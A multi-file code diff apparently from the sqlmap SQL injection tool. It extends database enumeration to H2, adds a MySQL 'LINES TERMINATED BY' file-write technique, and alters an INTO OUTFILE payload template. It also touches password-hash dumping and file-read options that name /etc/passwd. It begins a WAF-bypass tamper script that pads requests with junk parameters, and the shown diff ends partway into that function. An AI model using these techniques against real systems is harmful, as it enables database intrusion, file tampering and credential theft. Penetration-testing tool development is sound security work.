conf.tbl = conf.tbl.upper()
|
||||
|
||||
tblList = conf.tbl.split(',')
|
||||
@@ -565,7 +569,7 @@ class Databases:
|
||||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
@@ -601,6 +605,8 @@ class Databases:
|
||||
|
||||
if values is None:
|
||||
values = inject.getValue(query, blind=False, time=False)
|
||||
if values and isinstance(values[0], basestring):
|
||||
values = [values]
|
||||
|
||||
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
|
||||
index, values = 1, []
|
||||
@@ -691,7 +697,7 @@ class Databases:
|
||||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
||||
@@ -755,6 +761,10 @@ class Databases:
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
field = None
|
||||
elif Backend.isDbms(DBMS.H2):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
|
||||
field = None
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query += condQuery
|
||||
@@ -794,7 +804,7 @@ class Databases:
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if not onlyColNames:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
|
||||
@@ -67,7 +67,7 @@ class Entries:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
elif conf.db is not None:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
if ',' in conf.db:
|
||||
@@ -83,7 +83,7 @@ class Entries:
|
||||
conf.db = safeSQLIdentificatorNaming(conf.db)
|
||||
|
||||
if conf.tbl:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
conf.tbl = conf.tbl.upper()
|
||||
|
||||
tblList = conf.tbl.split(',')
|
||||
@@ -129,10 +129,7 @@ class Entries:
|
||||
else:
|
||||
kb.dumpTable = "%s.%s" % (conf.db, tbl)
|
||||
|
||||
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
|
||||
or safeSQLIdentificatorNaming(tbl, True) not in \
|
||||
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
|
||||
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
|
||||
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
|
||||
warnMsg = "unable to enumerate the columns for table "
|
||||
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
|
||||
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||
@@ -229,7 +226,7 @@ class Entries:
|
||||
entries = zip(*[entries[colName] for colName in colList])
|
||||
else:
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
else:
|
||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||
@@ -402,7 +399,7 @@ class Entries:
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
|
||||
@@ -284,17 +284,23 @@ class Filesystem:
|
||||
if conf.direct or isStackingAvailable():
|
||||
if isStackingAvailable():
|
||||
debugMsg = "going to upload the file '%s' with " % fileType
|
||||
debugMsg += "stacked query SQL injection technique"
|
||||
debugMsg += "stacked query technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
|
||||
debugMsg = "going to upload the file '%s' with " % fileType
|
||||
debugMsg += "UNION query SQL injection technique"
|
||||
debugMsg += "UNION query technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
|
||||
elif Backend.isDbms(DBMS.MYSQL):
|
||||
debugMsg = "going to upload the file '%s' with " % fileType
|
||||
debugMsg += "LINES TERMINATED BY technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
|
||||
else:
|
||||
errMsg = "none of the SQL injection techniques detected can "
|
||||
errMsg += "be used to write files to the underlying file "
|
||||
|
||||
@@ -60,7 +60,7 @@ class Search:
|
||||
values = []
|
||||
db = safeSQLIdentificatorNaming(db)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
db = db.upper()
|
||||
|
||||
infoMsg = "searching database"
|
||||
@@ -167,8 +167,9 @@ class Search:
|
||||
values = []
|
||||
tbl = safeSQLIdentificatorNaming(tbl, True)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
tbl = tbl.upper()
|
||||
conf.db = conf.db.upper() if conf.db else conf.db
|
||||
|
||||
infoMsg = "searching table"
|
||||
if tblConsider == '1':
|
||||
@@ -303,7 +304,9 @@ class Search:
|
||||
for index in indexRange:
|
||||
query = rootQuery.blind.query2
|
||||
|
||||
if query.endswith("'%s')"):
|
||||
if " ORDER BY " in query:
|
||||
query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery))
|
||||
elif query.endswith("'%s')"):
|
||||
query = query[:-1] + " AND %s)" % tblQuery
|
||||
else:
|
||||
query += " AND %s" % tblQuery
|
||||
@@ -387,8 +390,10 @@ class Search:
|
||||
conf.db = origDb
|
||||
conf.tbl = origTbl
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
column = column.upper()
|
||||
conf.db = conf.db.upper() if conf.db else conf.db
|
||||
conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
|
||||
|
||||
infoMsg = "searching column"
|
||||
if colConsider == "1":
|
||||
|
||||
@@ -125,8 +125,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||
raise SqlmapMissingPrivileges(errMsg)
|
||||
|
||||
try:
|
||||
from impacket import ImpactDecoder
|
||||
from impacket import ImpactPacket
|
||||
__import__("impacket")
|
||||
except ImportError:
|
||||
errMsg = "sqlmap requires 'python-impacket' third-party library "
|
||||
errMsg += "in order to run icmpsh master. You can get it at "
|
||||
|
||||
@@ -19,7 +19,6 @@ from lib.core.common import isNoneValue
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import parsePasswordHash
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.convert import hexencode
|
||||
@@ -187,13 +186,12 @@ class Users:
|
||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
|
||||
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
randStr = randomStr()
|
||||
getCurrentThreadData().disableStdOut = True
|
||||
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
|
||||
|
||||
if retVal:
|
||||
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
|
||||
for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
|
||||
if user not in kb.data.cachedUsersPasswords:
|
||||
kb.data.cachedUsersPasswords[user] = [password]
|
||||
else:
|
||||
@@ -228,13 +226,12 @@ class Users:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
getCurrentThreadData().disableStdOut = True
|
||||
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query
|
||||
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
|
||||
|
||||
if retVal:
|
||||
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
|
||||
for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
|
||||
password = "0x%s" % hexencode(password, conf.encoding).upper()
|
||||
|
||||
if user not in kb.data.cachedUsersPasswords:
|
||||
|
||||
@@ -1 +1 @@
|
||||
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%--
|
||||
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
|
||||
|
||||
+10
-10
@@ -43,16 +43,16 @@ sitemapUrl =
|
||||
# Force usage of given HTTP method (e.g. PUT).
|
||||
method =
|
||||
|
||||
# Data string to be sent through POST.
|
||||
# Data string to be sent through POST (e.g. "id=1").
|
||||
data =
|
||||
|
||||
# Character used for splitting parameter values.
|
||||
# Character used for splitting parameter values (e.g. &).
|
||||
paramDel =
|
||||
|
||||
# HTTP Cookie header value.
|
||||
# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..").
|
||||
cookie =
|
||||
|
||||
# Character used for splitting cookie values.
|
||||
# Character used for splitting cookie values (e.g. ;).
|
||||
cookieDel =
|
||||
|
||||
# File containing cookies in Netscape/wget format.
|
||||
@@ -98,7 +98,7 @@ authCred =
|
||||
# Syntax: key_file
|
||||
authFile =
|
||||
|
||||
# Ignore HTTP error code (e.g. 401).
|
||||
# Ignore (problematic) HTTP error code (e.g. 401).
|
||||
# Valid: integer
|
||||
ignoreCode =
|
||||
|
||||
@@ -579,15 +579,15 @@ shLib =
|
||||
|
||||
# Read a specific file from the back-end DBMS underlying file system.
|
||||
# Examples: /etc/passwd or C:\boot.ini
|
||||
rFile =
|
||||
fileRead =
|
||||
|
||||
# Write a local file to a specific path on the back-end DBMS underlying
|
||||
# file system.
|
||||
# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt
|
||||
wFile =
|
||||
fileWrite =
|
||||
|
||||
# Back-end DBMS absolute filepath to write the file to.
|
||||
dFile =
|
||||
fileDest =
|
||||
|
||||
|
||||
# These options can be used to access the back-end database management
|
||||
@@ -746,7 +746,7 @@ updateAll = False
|
||||
# Run host OS command(s) when SQL injection is found.
|
||||
alert =
|
||||
|
||||
# Set question answers (e.g. "quit=N,follow=N").
|
||||
# Set predefined answers (e.g. "quit=N,follow=N").
|
||||
answers =
|
||||
|
||||
# Beep on question and/or when SQL injection is found.
|
||||
@@ -761,7 +761,7 @@ checkPayload = False
|
||||
# Valid: True or False
|
||||
cleanup = False
|
||||
|
||||
# Check for missing (non-core) sqlmap dependencies.
|
||||
# Check for missing (optional) sqlmap dependencies.
|
||||
# Valid: True or False
|
||||
dependencies = False
|
||||
|
||||
|
||||
@@ -5,37 +5,37 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import sys
|
||||
|
||||
sys.dont_write_bytecode = True
|
||||
|
||||
try:
|
||||
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
|
||||
except ImportError:
|
||||
exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
|
||||
import sys
|
||||
|
||||
import bdb
|
||||
import distutils
|
||||
import glob
|
||||
import inspect
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import thread
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
sys.dont_write_bytecode = True
|
||||
|
||||
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
|
||||
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
|
||||
try:
|
||||
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
|
||||
except ImportError:
|
||||
exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
|
||||
|
||||
from lib.core.data import logger
|
||||
import bdb
|
||||
import distutils
|
||||
import glob
|
||||
import inspect
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import thread
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
|
||||
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
|
||||
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
|
||||
|
||||
from lib.core.data import logger
|
||||
|
||||
try:
|
||||
from lib.core.common import banner
|
||||
from lib.core.common import checkIntegrity
|
||||
from lib.core.common import createGithubIssue
|
||||
@@ -67,9 +67,13 @@ try:
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
except KeyboardInterrupt:
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
|
||||
raise SystemExit
|
||||
if "logger" in globals():
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
else:
|
||||
import time
|
||||
exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg))
|
||||
|
||||
def modulePath():
|
||||
"""
|
||||
@@ -192,7 +196,7 @@ def main():
|
||||
|
||||
errMsg = "user aborted"
|
||||
try:
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
@@ -230,60 +234,65 @@ def main():
|
||||
dataToStdout(excMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")):
|
||||
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "MemoryError" in excMsg:
|
||||
errMsg = "memory exhaustion detected"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
|
||||
errMsg = "no space left on output device"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
|
||||
errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
|
||||
errMsg += "You should retrieve the latest development version from official GitHub "
|
||||
errMsg += "repository at '%s'" % GIT_PAGE
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "Read-only file system" in excMsg:
|
||||
errMsg = "output device is mounted as read-only"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "OperationalError: disk I/O error" in excMsg:
|
||||
errMsg = "I/O error on output device"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "Violation of BIDI" in excMsg:
|
||||
errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "_mkstemp_inner" in excMsg:
|
||||
errMsg = "there has been a problem while accessing temporary files"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")):
|
||||
errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) "
|
||||
errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
|
||||
errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
|
||||
errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "must be pinned buffer, not bytearray" in excMsg:
|
||||
errMsg = "error occurred at Python interpreter which "
|
||||
errMsg += "is fixed in 2.7.x. Please update accordingly "
|
||||
errMsg += "(Reference: https://bugs.python.org/issue8104)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "can't start new thread" in excMsg:
|
||||
@@ -291,34 +300,26 @@ def main():
|
||||
errMsg += "Please make sure that you are not running too many processes"
|
||||
if not IS_WIN:
|
||||
errMsg += " (or increase the 'ulimit -u' value)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
|
||||
errMsg = "there has been a problem in enumeration. "
|
||||
errMsg += "Because of a considerable chance of false-positive case "
|
||||
errMsg += "you are advised to rerun with switch '--flush-session'"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif all(_ in excMsg for _ in ("pymysql", "configparser")):
|
||||
errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "bad marshal data (unknown type code)" in excMsg:
|
||||
match = re.search(r"\s*(.+)\s+ValueError", excMsg)
|
||||
errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "")
|
||||
errMsg += ". Please delete .pyc files on your system to fix the problem"
|
||||
logger.error(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "url = url.strip()" in excMsg:
|
||||
dataToStdout(excMsg)
|
||||
print
|
||||
errMsg = "please contact '[email protected]' with details for this issue "
|
||||
errMsg += "as he is trying to reproduce it for long time"
|
||||
logger.error(errMsg)
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif kb.get("dumpKeyboardInterrupt"):
|
||||
@@ -380,12 +381,6 @@ def main():
|
||||
with openFile(conf.harFile, "w+b") as f:
|
||||
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
|
||||
|
||||
if cmdLineOptions.get("sqlmapShell"):
|
||||
cmdLineOptions.clear()
|
||||
conf.clear()
|
||||
kb.clear()
|
||||
main()
|
||||
|
||||
if conf.get("api"):
|
||||
try:
|
||||
conf.databaseCursor.disconnect()
|
||||
@@ -400,6 +395,13 @@ def main():
|
||||
_ = time.time()
|
||||
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
|
||||
time.sleep(0.01)
|
||||
|
||||
if cmdLineOptions.get("sqlmapShell"):
|
||||
cmdLineOptions.clear()
|
||||
conf.clear()
|
||||
kb.clear()
|
||||
conf.disableBanner = True
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
|
||||
+2
-2
@@ -40,8 +40,8 @@ def main():
|
||||
|
||||
# Parse command line options
|
||||
apiparser = optparse.OptionParser()
|
||||
apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store")
|
||||
apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store")
|
||||
apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import string
|
||||
import random
|
||||
|
||||
from lib.core.enums import HINT
|
||||
from lib.core.enums import PRIORITY
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
LUA-Nginx WAFs Bypass (e.g. Cloudflare)
|
||||
|
||||
Reference:
|
||||
* https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
|
||||
|
||||
Notes:
|
||||
* Lua-Nginx WAFs do not support processing of more than 100 parameters
|
||||
|
||||
>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
|
||||
'0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&qX=&Ia=&Sy=&ZP=&aE=&1p=&u1=&lJ=&o7=&XB=&et=&F5=&gI=&RH=&YH=&7L=&KB=&Kx=&Js=&lL=&OD=&fU=&25=&03=&5H=&yR=&rY=&03=&K6=&JB=&O9=&4X=&fL=&EN=&0p=&Th=&nX=&uY=&gj=&Rc=&J4=&HQ=&bN=&LJ=&yw=&8c=&b7=&lh=&nX=&6b=&Ag=&qn=&Ov=&lF=&cg=&9m=&wT=&Z4=&kP=&7d=&P0=&vp=&LB=&kD=&zJ=&Ft=&wZ=&pI=&aT=&uc=&ro=&7v=&rw=&6N=&MS=&yz=&Oa=&lu=&oN=&x2=&Jz=&yR=&zP=&cB=&qj=&GE=&IU=&2E=&tC=&Y2=&Yl=&9N=&fS=&9y=&Qt=&nS=&aZ=&Gg=&hO=&2r=&8g=&0y=&fr=&CX=&1i=&GO=&v2=&rb=&cQ=&I6=&64=&cU=&RO=&S3=&Nx=&Hm=&Ka=&ju=&WS=&uM=&ck=&8r=&yI=&sD=&oc=&lG=&ey=&uz=&g4=&D0=&8v=&DR=&As=&T3=&5M=&x8=&Ne=&fU=&da=&yG=&BE=&KQ=&Aw=&9q=&WA=&wd=&1R=&3B=&Ph=&ym=&c6=&nj=&mx=&Hj=&98=&jz=&Q2=&E4=&tE=&EP=&mL=&nv=&73=&Yc=&jp=&W0=&KS=&Ye=&f1=&cn=&ca=&0u=&jO=&8F=&3F=&JQ=&XU=&9U=&4m=&HL=&ZD=&Xy=&K0=&XO=&al=&Fp=&e1=&6s=&zY=&dN=&hr=&Zd=&cz=&E1=&SP=&j9=&zL=&xc=&Dj=&cM=&Ng=&Iv=&xW=&E2=&LC=&Nu=&hQ=&MW=&h4=&X4=&2Q=&YG=&Wl=&WB=&UC=&We=&c5=&E3=&6P=&Jn=&fY=&3W=&RA=&sh=&AJ=&56=&zg=&VT=&bB=&Qb=&47=&Se=&ew=&bv=&a8=&Ye=&3m=&mP=&6h=&aw=&bL=&1l=&gv=&7i=&7w=&Ds=&67=&Nl=&9g=&Kj=&36=&Xt=&pU=&sA=&ci=&be=&eA=&IT=&iA=&Nf=&Bw=&6d=&zT=&tm=&sD=&6X=&rI=&QX=&By=&VA=&pC=&6i=&CN=&Dm=&aR=&Ma=&sV=&MH=&jR=&DQ=&Vo=&Vr=&9h=&2c=&pG=&Ky=&gp=&rU=&4K=&cX=&sv=&Gp=&5k=&zr=&GJ=&MG=&zN=&zW=&Ws=&xM=&jR=&xK=&iP=&vD=&zD=&Rt=&Od=&sU=&dM=&bD=&3a=&Ge=&1Q=&UP=&ac=&M9=&2R=&To=&Ur=&gC=&uk=&A3=&AB=&RG=&i4=&BW=&yY=&yn=&m6=&Kd=&yo=&fl=&dN=&kL=&LR=&Fr=&2v=&CN=&F7=&75=&5K=&ER=&nq=&ck=&aO=&iW=&Q8=&y5=&Cv=&g2=&Xu=&Cu=&bc=&wm=&Gl=&mP=&Tt=&1p=&vS=&c5=&eC=&Sc=&Y8=&Ch=&fg=&Vz=&4B=&eA=&UZ=&cl=&Eh=&25=&tA=&Ir=&Hm=&sB=&LH=&qo=&hW=&gT=&pr=&TO=&TF=&1h=&Oh=&Tw=&PR=&On=&Zo=&GP=&oM=&rk=&YI=&uK=&bi=&y8=&Fe=&VW=&WJ=&Rn=&TY=&Vv=&KM=&3g=&ZG=&wC=&an=&OE=&7D=&t0=&qL=&RY=&Wx=&dc=&T7=&vB=&SO=&qP=&sw=&HT=&jb=&Mb=&cn=&Oe=&d8=&A3=&nA=&wk=&u9=&Ux=&zq=>=&QC=&c5=&zy=&ai=&1F=&Tj=&u0=&Yp=&bY=&kW=&Qk=&e5=&LM=&Cj=&Lp=&XT=&b5=&cf=&sj=&ow=&Tz=&qE=&yt=&3I=&8V=&Jq=&QC=&Sz=&Eb=&Tc=&QK=&Wr=&Qm=&Gv=&8m=&Ju=&85=&KS=&Qv=&43=&uU=&aY=&J7=&wM=&uW=&L9=&ai=&ch=&56=&D6=&YW=&Ul=&1 AND 2>1'
|
||||
"""
|
||||
|
||||
hints = kwargs.get("hints", {})
|
||||
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER)
|
||||
|
||||
